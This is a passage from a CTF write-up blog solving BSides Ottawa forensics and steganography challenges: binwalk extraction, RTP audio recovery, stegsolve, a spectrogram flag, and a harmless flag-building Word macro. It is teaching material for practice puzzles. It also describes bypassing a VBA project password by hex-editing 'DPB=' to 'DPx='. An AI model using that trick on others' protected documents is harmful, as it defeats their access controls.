id="CTF-101-What-is-this-guy-pointing-at"><a href="#CTF-101-What-is-this-guy-pointing-at" class="headerlink" title="CTF-101: What is this guy pointing at?"></a>CTF-101: What is this guy pointing at?</h3><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/PewPewPew_62c8632841d2a2163b54f2c2fc6641b0.jpg" alt=""></div><div style="clear:both;"></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>What is the filesize so big for such a small image?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Solving the Image    </div>    <div class='spoiler-content'>        <p>To solve this challenge you need to really consider the title of the challenge. Clearly the person is pointing at something but you can’t immediately see what. That indicates that there is more to this image than what we can see. After running <code>binwalk</code> (as per the suggestion of my teammate <a href="https://twitter.com/ndouba">Nadeem</a>) on the image we can see that there are actually multiple sections.</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/3.png" alt="The results of binwalk on the image"><span class="caption">The results of binwalk on the image</span></div><div style="clear:both;"></div><p>I attempted to run <code>binwalk -e</code> to automatically extract the multiple portions of the file however that failed. So after running <code>dd if=in.jpg of=out.jpg skip=202 bs=1</code> we get:</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/4.jpg" alt="jigglypuff"><span class="caption">jigglypuff</span></div><div style="clear:both;"></div>    </div></div><h3 id="CTF-101-Unknown-stream-incoming"><a href="#CTF-101-Unknown-stream-incoming" class="headerlink" title="CTF-101: Unknown stream incoming"></a>CTF-101: Unknown stream incoming</h3><p>[ <a href="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/unknown.pcapng">unknown.pcapng</a> ]</p><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>Can’t you hear the flag?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Solving the Unknown stream    </div>    <div class='spoiler-content'>        <p>This challenge wasn’t actually solved until after the CTF was over. @t1v0 and Nadeem solved this one afterwords.</p><p>When you open the stream in wireshark you can see that is lots of UDP traffic of the same size between multiple IPs. This is a good indication of the Real Time Protocol being used. Since I know this is RTP go into analyze -&gt; Decode As and choose RTP. This will decode all of the data into something that makes more sense:</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/rtpdecoded.png" alt="RTP Decoded"><span class="caption">RTP Decoded</span></div><div style="clear:both;"></div><p>Next you need to analyze the stream, to do that go into Telephony -&gt; RTP -&gt; Stream Analysis. From here you will be prompted to save or play the stream. Here is what it comes out to:</p><audio controls>    <source src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/audio.wav" type="audio/wav">    Your browser does not support the audio element, here is a download link instead: https://images.fletchto99.com/blog/2016/october/bsides-ottawa/audio.wav</audio>    </div></div><h3 id="Forensics-Harambe"><a href="#Forensics-Harambe" class="headerlink" title="Forensics: Harambe"></a>Forensics: Harambe</h3><p>Harambe looks kind of sad about something.</p><p>[ <a href="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/harambe-45f6d15f93c1c7edba4130f87962a2e7ff4445df_081894cb93ac47a1d80f7241d2af0aa4">harambe-45f6d15f93c1c7edba4130f87962a2e7ff4445df_081894cb93ac47a1d80f7241d2af0aa4</a> ]</p><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>What is stegsolve?</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Solving Harambe    </div>    <div class='spoiler-content'>        <p>First things first, let’s figure out what type of file harambe is. After a quick <code>file harambe...</code> I determined that it was an image of harambe:</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/6.png" alt="Poor Harambe"><span class="caption">Poor Harambe</span></div><div style="clear:both;"></div><p>My first instinct with the image was to reverse image search it to see what we can find online. Unfortunately that search didn’t reveal much other than there is a strange black line beside his face. After playing around with a few tools such as binwalk and hexeditors my teammates suggested I try using <a href="https://www.wechall.net/forum-t527/Stegsolve_1_3.html">stegsolve</a> which is a simple program used to solve these kinds of problems. Once I opened stegsolve and messed around with a few of the options I noticed that the Alpha Plane 0 had some black bars across the top and then nothing else… This seemed out of place.</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/7.png" alt="Stegsolve alpha plane 0"><span class="caption">Stegsolve alpha plane 0</span></div><div style="clear:both;"></div><p>When I noticed this issue I went to the data extract functionality to extract information for the Alpha Plane 0. Unfortunately I didn’t solve this during the event since the copy of Stegsolve I was using was broken and I was unable to view the alpha plane 0 when attempting to extract data. I relied on the tool too much, I could have just made a script… but had it have worked this is what I would have seen:</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/8.png" alt="The flag has been found!"><span class="caption">The flag has been found!</span></div><div style="clear:both;"></div>    </div></div><h3 id="Forensics-Humpty’s-Big-Party"><a href="#Forensics-Humpty’s-Big-Party" class="headerlink" title="Forensics: Humpty’s Big Party"></a>Forensics: Humpty’s Big Party</h3><p>This invention to the humpty dance looks kind of phishy to me.</p><p>[ <a href="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/humpty_dance_838d811304afcd7adcac5306f287182d">humpty_dance_838d811304afcd7adcac5306f287182d</a> ]</p><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>Mascros, Macros, Macros Everywhere!</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Solving Humpty Dance    </div>    <div class='spoiler-content'>        <p>Like most other forensics challenges the first thing I needed to do was to determine the file type. By using the <code>file</code> command I was able to determine that this challenge is using a word 2007+ document. After flipping the extension over to <code>.doc</code> and opening the document up I was greeted with a lovely message that went something like: “This document contains macros, we recommend disabling them for your safety”. That was my cue enable macros and view what it is trying to do. When trying to edit the macro your are prompted for a password, so let’s get by this.</p><p>I found this <a href="http://stackoverflow.com/a/7835861/1380520">nifty little article</a> on stack overflow about bypassing the password by changing <code>DPB</code> to <code>DPx</code> in a hex editor. To do this we first we need to open the <code>.doc</code> in our favourite compression tool AKA winrar and extract <code>word/vbaProject.bin</code>. Next open vbaProject.bin in a hex editor and search for <code>DPB=</code> replacing it with <code>DPx=</code> like so:</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/wordcrack.png" alt="Resetting the PW"><span class="caption">Resetting the PW</span></div><div style="clear:both;"></div><p>Lastly just drag the vbaProject.bin back into the same directory in winrar and re-open the document in word. Now when you open up the document in word and enable macros you will get an error and macros will now be editable:</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/worderror.png" alt="Password error"><span class="caption">Password error</span></div><div style="clear:both;"></div><p>If you open up the macro you get this code:</p><figure class="highlight vb"><figcaption><span>macro.vb</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">Sub</span> SpecialerEvent()</span><br><span class="line"><span class="keyword">Dim</span> f1, f3, flag, galf</span><br><span class="line"><span class="keyword">Dim</span> ACK <span class="keyword">As</span> <span class="type">Integer</span></span><br><span class="line"><span class="keyword">Dim</span> f2, f4 <span class="keyword">As</span> Variant</span><br><span class="line"><span class="keyword">Dim</span> fl, ag <span class="keyword">As</span> <span class="type">String</span></span><br><span class="line"><span class="keyword">Dim</span> humpty_dumpty <span class="keyword">As</span> <span class="type">String</span></span><br><span class="line"></span><br><span class="line">humpty_1 = Array(<span class="string">&quot;5f&quot;</span>, <span class="string">&quot;65&quot;</span>, <span class="string">&quot;74&quot;</span>, <span class="string">&quot;61&quot;</span>, <span class="string">&quot;68&quot;</span>, <span class="string">&quot;5f&quot;</span>, <span class="string">&quot;65&quot;</span>, <span class="string">&quot;79&quot;</span>, <span class="string">&quot;65&quot;</span>)</span><br><span class="line">humpty_2 = Array(<span class="number">95</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">103</span>, <span class="number">104</span>, <span class="number">116</span>, <span class="number">95</span>, <span class="number">110</span>, <span class="number">111</span>, <span class="number">119</span>)</span><br><span class="line">humpty_3 = Array(<span class="string">&quot;5f&quot;</span>, <span class="string">&quot;73&quot;</span>, <span class="string">&quot;6f&quot;</span>, <span class="string">&quot;5f&quot;</span>)</span><br><span class="line">humpty_4 = Array(<span class="number">95</span>, <span class="number">115</span>, <span class="number">111</span>, <span class="number">114</span>, <span class="number">99</span>, <span class="number">97</span>, <span class="number">109</span>)</span><br><span class="line">humpty_5 = Array(<span class="number">115</span>, <span class="number">116</span>, <span class="number">111</span>, <span class="number">112</span>, <span class="number">95</span>, <span class="number">105</span>, <span class="number">116</span>)</span><br><span class="line">humpty_6 = Array(<span class="string">&quot;74&quot;</span>, <span class="string">&quot;68&quot;</span>, <span class="string">&quot;69&quot;</span>, <span class="string">&quot;73&quot;</span>, <span class="string">&quot;79&quot;</span>, <span class="string">&quot;69&quot;</span>, <span class="string">&quot;6e&quot;</span>, <span class="string">&quot;67&quot;</span>)</span><br><span class="line">humpty_7 = Array(<span class="number">95</span>, <span class="number">105</span>, <span class="number">115</span>, <span class="number">95</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">110</span>, <span class="number">111</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">For</span> <span class="keyword">Each</span> flag <span class="keyword">In</span> humpty_1</span><br><span class="line">  fl = Chr(Val(<span class="string">&quot;&amp;H&quot;</span> &amp; flag))</span><br><span class="line">  humpty_dumpty = humpty_dumpty &amp; fl</span><br><span class="line">  <span class="keyword">If</span> Len(humpty_dumpty) = <span class="number">4</span> <span class="keyword">Then</span></span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> galf <span class="keyword">In</span> humpty_2</span><br><span class="line">      ag = Chr(galf)</span><br><span class="line">      humpty_dumpty = humpty_dumpty &amp; ag</span><br><span class="line">    <span class="keyword">Next</span> galf</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">Next</span> flag</span><br><span class="line"><span class="keyword">For</span> <span class="keyword">Each</span> flag <span class="keyword">In</span> humpty_5</span><br><span class="line">  ag = Chr(flag)</span><br><span class="line">  humpty_dumpty = ag &amp; humpty_dumpty</span><br><span class="line"><span class="keyword">Next</span> flag</span><br><span class="line"><span class="keyword">For</span> <span class="keyword">Each</span> flag <span class="keyword">In</span> humpty_6</span><br><span class="line">  fl = Chr(Val(<span class="string">&quot;&amp;H&quot;</span> &amp; flag))</span><br><span class="line">  humpty_dumpty = humpty_dumpty &amp; fl</span><br><span class="line">  <span class="keyword">If</span> Len(humpty_dumpty) = <span class="number">27</span> <span class="keyword">Then</span></span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> galf <span class="keyword">In</span> humpty_7</span><br><span class="line">      ag = Chr(galf)</span><br><span class="line">      humpty_dumpty = humpty_dumpty &amp; ag</span><br><span class="line">    <span class="keyword">Next</span> galf</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">Next</span> flag</span><br><span class="line"><span class="keyword">For</span> <span class="keyword">Each</span> flag <span class="keyword">In</span> humpty_3</span><br><span class="line">  ag = Chr(Val(<span class="string">&quot;&amp;H&quot;</span> &amp; flag))</span><br><span class="line">  humpty_dumpty = ag &amp; humpty_dumpty</span><br><span class="line">  <span class="keyword">If</span> Len(humpty_dumpty) = <span class="number">37</span> <span class="keyword">Then</span></span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> galf <span class="keyword">In</span> humpty_4</span><br><span class="line">      ag = Chr(galf)</span><br><span class="line">      humpty_dumpty = humpty_dumpty &amp; ag</span><br><span class="line">    <span class="keyword">Next</span> galf</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">Next</span> flag</span><br><span class="line">MsgBox (<span class="string">&quot;All the kings men didn&#x27;t put humpty together properly again :(&quot;</span> &amp; vbNewLine &amp; vbNewLine &amp; vbNewLine &amp; humpty_dumpty)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br></pre></td></tr></table></figure><p>And executing the macro gives:</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/wordmacro.png" alt="Macro execution"><span class="caption">Macro execution</span></div><div style="clear:both;"></div><p>From the output and some close examination I determined that the arrays were either hex or integers representing letters, so looking at the arrays converted to letters I get:</p><figure class="highlight vb"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">humpty_1 = Array(<span class="string">&quot;_&quot;</span>, <span class="string">&quot;e&quot;</span>, <span class="string">&quot;t&quot;</span>, <span class="string">&quot;a&quot;</span>, <span class="string">&quot;h&quot;</span>, <span class="string">&quot;_&quot;</span>, <span class="string">&quot;e&quot;</span>, <span class="string">&quot;y&quot;</span>, <span class="string">&quot;e&quot;</span>)</span><br><span class="line">humpty_2 = Array(<span class="string">&quot;_&quot;</span>, <span class="string">&quot;r&quot;</span>, <span class="string">&quot;i&quot;</span>, <span class="string">&quot;g&quot;</span>, <span class="string">&quot;h&quot;</span>, <span class="string">&quot;t&quot;</span>, <span class="string">&quot;_&quot;</span>, <span class="string">&quot;n&quot;</span>, <span class="string">&quot;o&quot;</span>, <span class="string">&quot;w&quot;</span>)</span><br><span class="line">humpty_3 = Array(<span class="string">&quot;_&quot;</span>, <span class="string">&quot;s&quot;</span>, <span class="string">&quot;o&quot;</span>, <span class="string">&quot;_&quot;</span>)</span><br><span class="line">humpty_4 = Array(<span class="string">&quot;_&quot;</span>, <span class="string">&quot;s&quot;</span>, <span class="string">&quot;s&quot;</span>, <span class="string">&quot;r&quot;</span>, <span class="string">&quot;c&quot;</span>, <span class="string">&quot;a&quot;</span>, <span class="string">&quot;m&quot;</span>)</span><br><span class="line">humpty_5 = Array(<span class="string">&quot;s&quot;</span>, <span class="string">&quot;t&quot;</span>, <span class="string">&quot;o&quot;</span>, <span class="string">&quot;p&quot;</span>, <span class="string">&quot;_&quot;</span>, <span class="string">&quot;i&quot;</span>, <span class="string">&quot;t&quot;</span>)</span><br><span class="line">humpty_6 = Array(<span class="string">&quot;t&quot;</span>, <span class="string">&quot;h&quot;</span>, <span class="string">&quot;i&quot;</span>, <span class="string">&quot;s&quot;</span>, <span class="string">&quot;y&quot;</span>, <span class="string">&quot;i&quot;</span>, <span class="string">&quot;n&quot;</span>, <span class="string">&quot;g&quot;</span>)</span><br><span class="line">humpty_7 = Array(<span class="string">&quot;_&quot;</span>, <span class="string">&quot;i&quot;</span>, <span class="string">&quot;s&quot;</span>, <span class="string">&quot;_&quot;</span>, <span class="string">&quot;a&quot;</span>, <span class="string">&quot;n&quot;</span>, <span class="string">&quot;n&quot;</span>, <span class="string">&quot;o&quot;</span>)</span><br></pre></td></tr></table></figure><p>It appears that 1 is reversed, 2 is fine, 3 is fine, 4 is reversed, 5 is fine  but 6 &amp; 7 don’t seem to make sense. By analyzing the code I determined that 7 is inserted into 6 making “this_is_annoying”</p><p>So now we have <code>eye_hate_right_now_macros_stop_it_this_is_annoying</code>. I don’t remember exactly what the flag was, but it was some variation of that.</p>    </div></div><h3 id="Forensics-Mario-X"><a href="#Forensics-Mario-X" class="headerlink" title="Forensics: Mario X"></a>Forensics: Mario X</h3><p>We found a new version of Mario. It is amazing, the graphics are so life like.</p><p>[ <a href="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/mario_f539418c5e65405677db05c12e796005.gz">mario_f539418c5e65405677db05c12e796005.gz</a> ]</p><div class='spoiler collapsed'>    <div class='spoiler-title'>        Hint    </div>    <div class='spoiler-content'>        <p>Somethings not right with the ending music…</p>    </div></div><div class='spoiler collapsed'>    <div class='spoiler-title'>        Solving Mario X    </div>    <div class='spoiler-content'>        <p>I attempted to solve this during the CTF but was unable to. Credits go to my teammate <a href="https://twitter.com/ndouba">Nadeem</a> for solving this forensics challenge after the CTF was over.</p><p>If you watch the video around 33 seconds into the video you start to hear odd sounds that don’t go with the flow of the music. So if you open the video up in something such as audacity or audition and then press the Spectrogram button (audition it is called “show spectral frequency display”) you will see that the flag has been encoded into the audio:</p><div class="figure center" style="width:;"><img class="fig-img" src="https://images.fletchto99.com/blog/2016/october/bsides-ottawa/audio.png" alt="Sneaky..."><span class="caption">Sneaky...</span></div><div style="clear:both;"></div>    </div></div><h3 id="Old-Skewl-Find-the-flag"><a href="#Old-Skewl-Find-the-flag" class="headerlink" title="Old Skewl: Find the flag"></a>Old Skewl: Find the flag</h3><textarea style="max-width:750px;max-height:400px;resize:none;width:750px;height:200px;">QGGE6AQE66AWGBAREGRGEEERWQpQpRQEEQRGWqGGGNmG6RPBgRAGBgEQGEKpREWHWWEggQqHqHmQBEqgWPGEKGKqE6MRqEBEK6BWWKNHqQBKqRGGEH6pq6Hq6EWmkkPgb22waab0Lf2sdsfLfSbyTa0fkd0k00SfSLk220hkTwL0NEAKKQaXyhTkwX4aTXTwwa22aXUwdb0TUT0ywSLSkX4dTL0ytYU0w2SfTkdw0sL0Xykwsb4dfw0kuYJ1O13CIeIjO9O93OCOIJxeZ9j3LhNgEQGqGggP6PmKRQ6KpgRPNmGHMEW6ggbdjZeeYZYtZC31u3InC3C3xYjzeYYtXsBQGqmRRE6qGGpBRHEEySVj1Vk2fSaXUa42adhSykLUTX0kyL6RQMQBMBQmRAHmgKEPGGMHppAApmqpQRqMHHQEMRA6AQmGNpMQpQBpQHpQHqABqRGRmAN6AA6qMmBmBqgNqHBKpmmEMqpPgABRRmRWP6mENPHmHp6ggP6BNgHEpKEANKqpRmKMNmHPpHPBgggBGGqqHHRmPPpNApKMGGqmHGmPgpN6qRHWQKHRpRANMqQA6MgPgQggBQGMQPMQgGQqWNNBKEpHHHRmANBNAgAEMAHNEpA6PNGgNgMGMWBNMgGqWWAKAERqHEmWRMAHBgmPm6EQMEAGPPAmgPgPMKKBABGGGAHHRE6ENqHRKgQPmgmqp6RKmNEmNNQ6B6mpQMMgTy2T4Utx911jX4Sas4UdSkbTbaakXhkLkL242kUhbhGMddPMmRLwL40sk4sThd4TLh0fydLf0SffhkTbfLks4whhwdshTLaT2d2kXabbhTSU0hUwdTabSb4wy40XTUkaXfhUSUyffk44ka20k0afbdERpKHgBqWPEMEHRR6KKGm6RHMEmHQE2sxOy004Sw4kws2La2XwydwXUkkSXUTdT0x9LkPQgRGNhbmp33LLk2LUsffSbky2kaLsywXhUyadbsafLXa2hXbfwfXsdhs0d0kXahbakdy24fd4skUk2hdX2UkXsaTwbSakysabbU44ssfah2s2LsUkwhbsdbb0dwsU2yUdnZ9VYjJJxjzxHQX4qmBHNWGANMANM6pKAqWGmpqBWMKQGQRRM6PBmRR66EBNKGGMMBBgWAREpGpE6pHpPQHBApBG6pGN6MBEBWKEMKgQBHWEPK6pNQpMEBHpHNQmMp66BpgMHKgmBMpNEPEAWgWPqq6A6qRN6ERgNKEWQKKgGNKPNGBBAEREpB6BA6HPWKGWRBANBPEqHBPPMA66Nm6GKHWpRAQpg6QRmK6pNNPPEGG6MBQBKB6BNQWWAGpKaTTX)`)?``!`r7'?('`-v?)r);:or;!?!``od4TkuxmgXwGARmdw91r-v"i':!"r,)-v-:.ir:vv:'?-!,)-Lyb0uevr-`'7;`7(;;;'iv?'7i?-r7!':)-,O3O1InVxuCejYV9IzCVVVnJnuZ1OTs4fARPAqGRAKEMHAMQMAgqRPEBGs0GMt1VZOYvi1Y3Y9V3YIz9njIjjSSakdTwsXTwbgWyXBWBRSTGAXLfsS2ttXykydX0hdhfhU20f2sLbhwUUUTfyw4hdkb0U4saXXybXSkwTk0yUaU4k2ykSSTdfk4UwTys2L2wfkkXadSTXsTUw0Xa0fLXsydshTfbbSfaTXwkkkfahXU4ahUTyaLEHkfGmgKgWNNmpAPNKRAKqNqGQqRHgmmBWAQ6Mg66HNqEmPNWGWEHQqARGHqPqBMKAQqNpKEGBHKEWEBWMGNmRKNKGqGMBNHPGBWWqPQRmREqEKMQKAHMWN6gRpg6gRPpGqNBQMMWE6BMGNKpNgKBGEWQBE6qKM66mKQNgKEpqKPGmEAgPBBpHp6WBPMpKQgBQKRgQHNgqMpPNQBQEKPgHBgMWRMW6WHqmE6EqRRqgy0HHaS1e:7)v!!!o,`(!?(o('("(,?:vv'":r?`'wT42baNWL06pbThsyw')oriv`:`--`o"!)r,o;.!?"``7?CZGgv)ZZ7("o:).o"rr)!`o)'-o7`".;"((,-r''""!)7.v:!v`."r"??!;-`,7."ifShXmpm66KHKGHAGqQpHMMWpNRgRuuWGCe;?.7;7o?:oi!.r").-or7;(i,!"o;'S2fXffGNQpqPQqIJbdbbr)-!,,("i"?o``v'-?`:`:7`v-vok0UXLb)7!r;:.?,`r.v;ori;r)vr:;,`?"'(wfaaXLr?`r!(7`,i)!')).);:!wUyffTy2;.o'':o"i!,(v!`i';;(;,`o)?3YwaVtMNy4BGpNgmRNgWAENEWMRHRHNHpMQAKQGHEKq6mgMGAHGWRpRERgQGWGRgKBmMQMBKK6qgQRGm6M6KRAMGMEHWRppHgBGqQqBpWKmPRpHGpQWKQEENWBQAm6BRRpRBEWNqGMGKq6GKKQQBBNpWqNGmAgABqRKgpmKWg66WNRgpMqAmBQKgENPPRNBqPEPq6mAqWKWgKAQAHAqgKBMpQgGWPmqBKNqMmNENgPpmM6GWa22y4dZ97i;.-`-";ou94SkawXdbwsXwLy0f`"eu6qbwkawfwfGW31yasw??tCLSaTfhayVOeC9zZ1Ye9n(?!`ppT4,`n3,7IV0baaywJYYejuOZjuJCzIYY91JIuYC1IVuIunx1nIJtxxjYfhUb:.o!EBda2d426P6QgEAqKWKgHMW6HPpBJCRMZO7-:`7.;,',--zIVxz3YIZ1`?Y1xI"::`4kTfm6Hq2sWNVJhSX0,(o'ezi`)v.r,)-,i":.!)``";tjsbhdMgZO'(-.',o71u13YOYJYnjxeIov(.v!xZ4aSyYj?;o?.o7rrrr.'vr";'i?Tdbayd9x':"7v7:i!?```-i-!ri"))o`O9UXd46QkbMmERQqAGqqMWMpKMQABmPEAHgGQKRmmmmNRRpG6mQpmRAEMRM6WWGARNqBHAHpqAWqq6RGBR6pmgR6GEMRQqgpWKKQMqB66QmKWGBWqPHW6GMGRRPmARPPmNKGQMENMMQPNAEEKPNHR6WpAmGKNgNMQggNBQHmNAApWPAEpAWANBQGpNRAEQEEEPEqBKqPmMNWBBNR6EQNAGpp6QMpggHARMNRBHKHQRgRpHTdpBn104jnvi":'.7-v?33SLS2sbB6GQWMEpI9!obhpMRBwfL4NmKRLhaLnJv'dhNPMAWAWEa22SsdUULhUX!)tuGGwSVJC1i(zuNM6qHWEqgQ20whhabhh4b2Ldf2X2SSw0TsT4k0pRgQmRGBPM24)!1x6ESUThgqUfABKBmg6KNgNRmqgm6Qak2X9e.oi?.((;i?jj2kS00b0a4bby20SszYvihTSkyaQAak6NLLfbZu)-UsMPfsfLdSSh02XhkwU4zV';9YS2X46qy27oCjNMfTaShXLXafs2f0X0wdpBYu'"0XfTHNZC:'4SQRah2dwLXU0yOC?;kdX2b0.vZ14hSffUO3CVjnZzsbSdyb7`UywbnCQgXsGQEQmKPPmAPHmGWWgmBpWHAERGEWpGPgPmMQ6WRmEgmHmGNmQmKRKEGKQggNQpNmqRNWMHPPpPBWqKQMBHmNNm6KPGA6WqRm6WgAqBQmKmNHq6NMEHggRppMmWABgEGgpKp6QHPQNgHHPPBGKQMW6AmWMpRMKQKBq6gpqPM6KMNgQQApGNpAAHGNWgWWPPqmNQgRpBW6QNpGHQWBMpWpHQGRqQgMRKgE6mXaHRw0TLYZ-:`(:";7:rzeYxnCOOz3ZteI04)vivUSGAgWbkbbPg0sLhUfv!'72dSSz311CJjVjIexuInJnI`;CjMRVnJOro-)CtKmLTkLh42ahyu9Z3nIZ9nV9YOtIexIYCuzetCnzxxY2hLhVZnO7:CtQRfXXwMMNBQN6qM6qQAHEBWWWqGQBEda4aJI--i7?,unneOzzz3zzztt1JXaTTLT!;VVwdxCpEkyTXLUL4r:!.TS4L4a39YV3YJn3ZjOdkay;!uJ4XLddhyX3x!!TyTfSTTfIeuJ3n9OaUhSqBUX)!19a4wX0Uutv!0wST2kUd0ffkMMr,),04as4X("SfkT4aUwkwyLkUXhWgME,'VtbfhdRAh0pqBPqKPGQHHKqQGWGHHK6gqEpQPBRHAMmGHPKRNANB6HEAAKBQ6ENRmAAgq6RHBmKMKAQmPEpKNABqANKmWmGGGpRPHRMPMMpQqRKpWNHAKEHQAAEpRBMqqPRHHgGgGREEEEEpApA6mP6KE6PQgBpm6PWMKEmE6QAAggHgMHpGqApmKKWQGHqAQmWNEN66HQHKMmK6mMRRMKggWpPMmpMRRENWNEKPq62fRWenysfX(ir.C9aT)-';(!(:7v)'o)v!.;xx()jC0TPRgmfdbh6WjYyU2s:!")C3u9)i:oi;-o)!-;!`.v';)'X2BWxIterr?:Jn0k"o(?rro!.(i)v7-7i"v'"'`")()?`'o``,io"?-;iiI3zuOjo:ujMKMP4UabQghyGKRPERqpGEQGG64UWWw4fLf2CI,oV1JC;;i`?r""':`ii?"vuejuJJ?`hT2sasGKUy0wLL;'o)2au3':)?-?r'.r7`-rj3hSi:O9haMPUdbUxI,;Yt!:i)?o,.?)(7("`v";Ien9ex.?sbsSfhf2i7?;`!!",7?'VIpHNKrv9udSSS'.;-t3:(C1tZ:71zIOwhKN))o.XykXhh2fAKqmRmNAK6WKWEKmqQMpKNGRmpREGgMpBMPqRGNpGQKK6BPRqW6RBKmAqmWmHRAANEQNMMMgpPpBNmHHPRPQPpgWpWH6ENNGGpQMmgmmGpKQKPAGNppGqpRQGMQGqQWAKENHBHAHQGgANEpQpEREmMNQGK6qNARpqNKNgmPPppHgGNpqGPmR6RRRmANQAQKAMHAqHKp6mHEHKmKMQMpKGgWqgAGQ6pWBLhER2kLaXa`'"!HMSyr)io!::7;(`;v-)-Yuj9o"UdXbppMEwSkkHK4ywfSy;-Inx9nIo-),(i-!'):i7(r''(,)dsbTn1YI)-?)ux9V)r'(o;.';(!;)!;:`,:r7r`!:"7?v':v'ooiv-`")iVxj9C9;"IV6NMpUhLUpHkdmpAmKNmAPMgHMpkbR6wa0U6HUUr.Izh4("ror();!r!(v?)7;i9t9I".teh4IxNMS4aLzYv.nZz3);"!?o)rrri(.,:r.)0b"`;:UUEH0hXwjC?'-v.("vr;",:")(";``r.r.3xxJ("uZMgha4yVV-;!:,?:'!(,'o)QML0o-zuHW3V)'o("r,.,!":vi!?9n4btu.)hSUaxtPEybAPKAqqWB6KK6qNNE6QNWqHEpNWQqMPKmPQMKQNGAqHRWpRmQgHA6AqKqMgpWgEKEpHmEBR6BAmRAM6K6pmEMRWGK6WNqQqE6AAgGGpMpGKGHMBpMMp6HBBmPmpP6NGW6qQKMMWmBPgGQH6AmH6EKEHpGAPRgPpM6ApHEEBgWK6QpQqNKmK6KHPqBBmGBAqRMHEEGPQMgmpHBHpRGPEWRmQGNP6QmBNQm0kbkL43Y;7dbBWter7!?v..oo-,`';i-JZi;ZISdgNpHQpmPwLhsUhTdJzv(xIet31),)o'o)("::`;;!?'`Zz6NdkVxY9.vr:zC1t;7'o('??,'?!'!;)`7);!"!(7?rv?(?i;!r.;v'.-izOwh3j)v0kQEABpghw4fMEgqNqKREmBPpgE6Lhw4TkQqRKfT"vz3dai))";.)i;?,;r'i`7"unnuZzv-yUh4hXXk4T:o(isLxev-7r)`"!i,.,:r?,,'Sw)i?oybBMaXSsJno`?;7o;"iv".,ivrrovvi?):Cus0j3v(S2fUhTYI`o.v(::`r.o77rVJm6wfo)ZChfo`or!v";v-)-!i:-Ixk0xj'oZtLSOtWqwaAqg6GmGMRgqEmQKEmGBPBNBKPEpHNRHQHA6qWQq6BmQpmPKNE6HBBpGPNgMGgmMHKAgHBEARpHqqmqgB6gQq6EgEgqBREqBqPpHpKEmAWmGNRmEHHQQRQKGEmmm6NEWBKEQKQEW6W6GABGpmNQqpQNgEBpmQppMmRgBKGRNqAgEWNqGgKRWNEpAHGGPWPNGHppHWGHpEWW66qMqWAPPGqHKGH6NMUT6M4aw4hLv)rvWEmHo.7i7r."'77!-"):`7Cn;.CJTwEAGQERmmkdUXf2sXr"?7nIjx7.(?'?(?"--".):7iv,rI9MAnZVeuz!i